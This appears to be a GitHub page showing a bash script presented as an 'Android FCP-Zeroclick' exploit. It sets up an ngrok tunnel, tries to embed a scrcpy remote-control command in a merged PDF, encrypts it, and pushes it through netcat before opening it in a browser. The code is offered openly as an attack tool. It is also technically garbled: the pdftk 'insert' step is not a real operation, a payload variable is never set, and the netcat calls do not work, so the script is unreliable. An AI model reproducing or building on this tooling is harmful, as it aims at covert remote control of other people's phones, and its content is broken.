-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathFCP-Zeroclick-Update.sh
84 lines (64 loc) · 4.53 KB
/
FCP-Zeroclick-Update.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/bin/bash
echo "
█████╗ ███╗ ██╗██████╗ ██████╗ ██████╗ ██╗██████╗ ███████╗ ██████╗██████╗ ███████╗███████╗██████╗ ██████╗ ██████╗██╗ ██╗ ██████╗██╗ ██╗
██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔═══██╗██║██╔══██╗ ██╔════╝██╔════╝██╔══██╗ ╚══███╔╝██╔════╝██╔══██╗██╔═══██╗██╔════╝██║ ██║██╔════╝██║ ██╔╝
███████║██╔██╗ ██║██║ ██║██████╔╝██║ ██║██║██║ ██║ █████╗ ██║ ██████╔╝ ███╔╝ █████╗ ██████╔╝██║ ██║██║ ██║ ██║██║ █████╔╝
██╔══██║██║╚██╗██║██║ ██║██╔══██╗██║ ██║██║██║ ██║ ██╔══╝ ██║ ██╔═══╝ ███╔╝ ██╔══╝ ██╔══██╗██║ ██║██║ ██║ ██║██║ ██╔═██╗
██║ ██║██║ ╚████║██████╔╝██║ ██║╚██████╔╝██║██████╔╝ ██║ ╚██████╗██║ ███████╗███████╗██║ ██║╚██████╔╝╚██████╗███████╗██║╚██████╗██║ ██╗
╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝╚═════╝ ╚═╝ ╚═════╝╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝╚══════╝╚═╝ ╚═════╝╚═╝ ╚═╝
"
figlet -c purple "ANDROID FCP-Zeroclick"
# Variables
NGROK_TUNNEL_URL=$(ngrok status | grep "Forwarding" | awk '{print $2}')
COMMAND_FILE="/tmp/command.txt"
FRAGMENTED_PDF_PAYLOAD="/tmp/fragmented_pdf_payload"
# Functions
function generate_pdf_payload() {
# Combine the two PDF files into one
pdftk "$pdf_file_1" "$pdf_file_2" output "$pdf_payload"
# Add the scrcpy command to the PDF payload
pdftk "$pdf_payload" insert "scrcpy -d $(get_device_id) --background --auto-connect yes" output "$pdf_payload"
}
function encrypt_pdf_payload() {
openssl aes-256-cbc -e -k "YOUR_SECRET_KEY" -in "$pdf_payload" -out "$pdf_payload.enc"
}
function fragment_pdf_payload() {
# Get the PDF payload
pdf_payload="$1"
# Create a temporary file to store the fragmented PDF payload
fragmented_pdf_payload="/tmp/fragmented_pdf_payload"
# Send the PDF payload to a local port in small chunks
nc -l localhost 8080 < "$pdf_payload"
# Listen for the fragmented PDF payload on the local port and write it to the temporary file
nc -l -u 8080 > "$fragmented_pdf_payload"
# Return the temporary file containing the fragmented PDF payload
echo "$fragmented_pdf_payload"
}
function start_ngrok() {
ngrok start 8080
}
# Main script
# Set the script to exit on the first error
set -e
# Start the VPN
# Replace the following line with the command to start your VPN client
# openvpn "YOUR_VPN_CONFIG_FILE"
start_ngrok
# Check if an Android device is connected
if ! adb devices | grep -q device; then
echo "No Android device is connected. Please connect an Android device before running this script."
exit 1
fi
# Get the two PDF files to combine
pdf_file_1="/path/to/pdf_file_1.pdf"
pdf_file_2="/path/to/pdf_file_2.pdf"
# Generate the PDF payload
generate_pdf_payload
# Encrypt the PDF payload
encrypt_pdf_payload
# Fragment the PDF payload
fragmented_pdf_payload=$(fragment_pdf_payload "$pdf_payload.enc")
# Open the PDF file automatically in the background
x-www-browser "$fragmented_pdf_payload" &
# Print the ngrok tunnel URL
echo "Your ngrok tunnel is $NGROK_TUNNEL_URL"